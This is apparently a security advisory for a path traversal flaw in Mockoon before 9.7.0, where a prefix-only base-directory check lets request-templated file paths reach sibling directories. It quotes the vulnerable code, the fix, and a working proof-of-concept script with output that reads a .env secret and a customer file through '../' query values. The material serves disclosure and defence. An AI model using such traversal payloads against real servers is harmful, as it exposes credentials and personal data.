Mockoon: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)

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Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.

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CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.

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EUVD CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.

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CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

## Summary A `FILE` response whose `filePath` embeds request data (e.g. `"/srv/public/{{queryParam 'name'}}"`, the documented way to let the client pick a file) is confined by `getSafeFilePath` with `resolvedPath.startsWith(staticBaseDir)`. That prefix test has no path-separator boundary, so a `../`-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory. ## Details `packages/commons-server/src/libs/server/server.ts`, `getSafeFilePath` (line 2315). The static base is the text before the first `{{`, resolved to an absolute path; the parsed `filePath` is then bounded by a string-prefix check: ```ts const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336 const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled const resolvedPath = resolvePath(parsedFilePath); if (isPathAbsolute) { if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355 throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`); } } else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362 throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`); } ``` With `"/srv/public/{{queryParam 'name'}}"`, `staticBaseDir = /srv/public`. A request `name=../public_backup/.env` resolves to `/srv/public_backup/.env`, and `"/srv/public_backup/.env".startsWith("/srv/public")` is `true` → served. Any sibling whose absolute path begins with the string `/srv/public` is reachable; the relative branch (`:2362`) is the same against `environmentDirectory`. A correct check appends `sep` to the base, or rejects when `relative(base, resolvedPath)` starts with `..`. `filePath` is request-controlled (`queryParam`/`urlParam`/header/body via `TemplateParser`) for every `FILE` response: HTTP `sendFile` (`:1762`), WebSocket (`:1145`), callbacks (`:1586`). ## PoC ```sh cat > /tmp/poc.sh <<'POC' set -e mkdir -p /work/public /work/public_backup && cd /work echo 'public landing page' > public/index.txt echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env echo 'Michael, [email protected], 555-22-7741' > public_backup/customers.csv cat > env.json <<'JSON' {"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[], "routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download", "responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[], "bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR", "disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}], "responseMode":null,"streamingMode":null,"streamingInterval":0}], "rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}], "proxyMode":false,"proxyHost":"","proxyRemovePrefix":false, "tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""}, "cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]} JSON npm i -g @mockoon/[email protected] >/dev/null 2>&1 mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 & sleep 6 node -e ' const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}}; const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();}; (async()=>{ console.log("[*] intended file (public/index.txt) :",await g("index.txt")); console.log("[+] escape -> ../public_backup/.env :",await g("../public_backup/.env")); console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv")); })();' POC docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh ``` Output: ```text [*] intended file (public/index.txt) : public landing page [+] escape -> ../public_backup/.env : AWS_SECRET_ACCESS_KEY=redacted [+] escape -> ../public_backup/customers: Michael, [email protected], 555-22-7741 ``` `../public_backup/.env` and `../public_backup/customers.csv` are served, outside `/work/public/`, because their absolute paths string-prefix `/work/public`

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